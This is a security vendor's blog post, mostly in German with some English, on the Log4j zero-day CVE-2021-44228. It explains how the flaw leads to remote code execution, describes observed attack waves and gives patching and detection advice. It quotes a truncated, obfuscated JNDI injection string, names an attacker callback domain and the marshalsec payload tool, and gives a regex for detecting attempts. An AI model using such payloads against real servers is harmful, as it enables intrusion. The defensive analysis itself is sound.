Aktualisierung: 13. Dezember 2021
cybercriminels Ausnutzung der Log4j Zero-Day-Schwachstelle
Während wir die Situation weiter beobachten, hat Vectra mehrere Versuche von cybercriminels beobachtet, Systeme auszunutzen. Zunächst handelte es sich dabei um einfache Rückrufe, wobei der erste Exploit-Versuch von TOR-Knoten ausging - diese zeigten meist auf "bingsearchlib[.]com" zurück, wobei der Exploit in den User Agent oder die URI der Anfrage übernommen wurde.
Seit der ersten Welle von Angriffsversuchen hat sich die Taktik der cybercriminels , die diese Schwachstelle ausnutzt, stark verändert. Vor allem die verwendeten Befehle haben sich geändert, und cybercriminels hat begonnen, seine Anfragen zu verschleiern. Ursprünglich wurde der User Agent oder URI mit einer base64-Zeichenfolge gefüllt, die, wenn sie von dem anfälligen System dekodiert wurde, den Host dazu veranlasste, einen bösartigen Dropper von der Infrastruktur des Angreifers herunterzuladen. Danach begannen die Angreifer, den JDNI-String selbst zu verschleiern, indem sie andere Übersetzungsfunktionen des JDNI-Prozesses ausnutzten. Beispiele hierfür sind:
${jndi:${lower:l}${lower:d}a${lower:p}://world80${${env:ENV_NAME:-j}n${env:ENV_NAME:-d}i${env:ENV_NAME:-:}${env:ENV_NAME:-l}d${env:ENV_NAME:-a}p${env:ENV_NAME:-:}//${jndi:dns://Sie alle verfolgen das gleiche Ziel, nämlich eine bösartige Klassendatei herunterzuladen und auf dem Zielsystem abzulegen oder die Anmeldedaten von cloud-basierten Systemen auszuspähen.
Bleiben Sie auf dem Vectra Blog für weitere Entwicklungen dran.
--
Original Post: Dezember 10, 2021
Erste Entdeckung der Log4j Zero-Day-Schwachstelle
On 10th December 2021, a new 0day was discovered in the log4j application. This 0day, now tracked as CVE-2021-44228, takes advantage of the parsing of LDAP logs, and the parsing of the LDAP url in the jndi engine. This engine will automatically look up variables in logs to improve the output of the logs. For example “Logging from ${java:vm}” would output as "Logging from Oracle JVM”. This however, leads to a problem when parsing directory services using this method. When parsing these variables, if there is a dot “.” in the string, the log4j server will look up a remote address and parse the response with the jndi engine.
Mithilfe eines Tools wie https://github.com/mbechler/marshalsec kann ein Angreifer eine bösartige Nutzlast erstellen und den log4j-Server zu dieser Java-Nutzlast leiten, die dann in der Engine ausgeführt wird und zum RCE führt. Weitere Einzelheiten finden Sie in den Blogs und GitHub-Repositories in den Referenzen.
Log4j ist eine weit verbreitete Logging-Lösung für Java-basierte Anwendungen, Web-Apps und Module. Anwendungen von Steam bis Minecraft haben sich als verwundbar erwiesen, aber auch mehrere ToR-Knoten wurden bereits angegriffen.
Eines der größten Probleme, mit denen Benutzer bei dieser Sicherheitslücke konfrontiert sind, ist die unglaublich große Angriffsfläche. Das zeigen auch die Bilder in diesem GitHub-Repository.
Es ist erwähnenswert, dass nicht nur LDAP anfällig ist, sondern auch andere Verzeichnisdienst-Parser wie Remote Method Invocation (RMI) und Common Object Request Broker Architecture (CORBA).
Die Empfehlung der Entwickler lautet, die log4j-Systeme auf log4j 2.15.0 zu aktualisieren, das auf Maven Central verfügbar ist.
Wenn Sie ein log4j-fähiges System verwenden, sollten Sie sich bei den Entwicklern nach Updates für ihre Systeme erkundigen und davon ausgehen, dass die Hosts, auf denen log4j läuft, gefährdet sind.
Erkennung von Log4j Zero-Day Exploits (CVE-2021-44228)
Eines der größten Probleme bei dieser Schwachstelle ist, dass der ursprüngliche Vektor schwer zu erkennen ist. Er erscheint als String in einem Protokoll. Man könnte sich die Roheingabe in den log4j-Server ansehen und bei allen externen LDAP-Verbindungen Alarm schlagen. Alternativ könnte man auch nach externen Verbindungen von Protokollservern zu Java-Klassendateien suchen.
If you have access to metadata, using tools such as the Vectra AI platform for example, one telltale sign of attempts to compromise servers would be to search for the following patterns in text fields such as User-Agent: /\$\{jndi:.*/
Dadurch werden Versuche, die Server zu kompromittieren, gefunden, aber es wird nicht bestätigt, ob eine Kompromittierung stattgefunden hat. Es wird davon ausgegangen, dass mindestens ein Server in einer Anlage kompromittiert wurde, und Vectra kann bestätigen, dass Scan-Versuche über mehrere Quellen hinweg festgestellt wurden.
Um Hosts ausfindig zu machen, die möglicherweise kompromittiert wurden, ist es möglich, Hosts zu untersuchen, die JAVA-, Jar- oder Class-Dateien herunterladen. Wenn ein Host jedoch kompromittiert wurde, ist der beste Weg, dies zu erkennen, einen Host zu beobachten und nach verdächtigem Verhalten Ausschau zu halten, zumal die Angriffsfläche riesig ist und der ursprüngliche Vektor angesichts der weit verbreiteten Verwendung von log4j schwer zu erkennen ist.
Die Plattform Vectra AI hebt Hosts mit verdächtigem Verhalten hervor, indem sie den Netzwerkverkehr beobachtet und mithilfe von maschinellem Lernen und KI den Datenverkehr klassifiziert. Wir würden erwarten, dass Hosts, die kompromittiert wurden, Erkennungen des Typs Command and Control , seitliche Bewegungen oder lokale Anwendungs- oder Dienstkonten aufweisen, die im gesamten Anwesen verwendet werden. Wenn ein Edge-Gerät kompromittiert ist, kann es auch zu mehr Aufklärungsaktivitäten von diesen Geräten innerhalb der DMZ kommen.
Es ist auch erwähnenswert, dass die Systeme, auf denen log4j läuft, tief im Netzwerk liegen können. Zum Beispiel als Teil eines Elastic-Clusters, und wenn das der Fall ist, müssen auch diese Hosts identifiziert werden.
Zu diesem Zweck wäre es empfehlenswert, die Hosts in einem Anwesen zu finden, auf denen log4j möglicherweise läuft (Apache Tomcat, Apache Struts usw.), und sie in eine Gruppe zu verschieben oder zu markieren, damit die Überwachung und Nachverfolgung anhand des oben genannten Erkennungsprofils und der Suchbegriffe einfacher wird.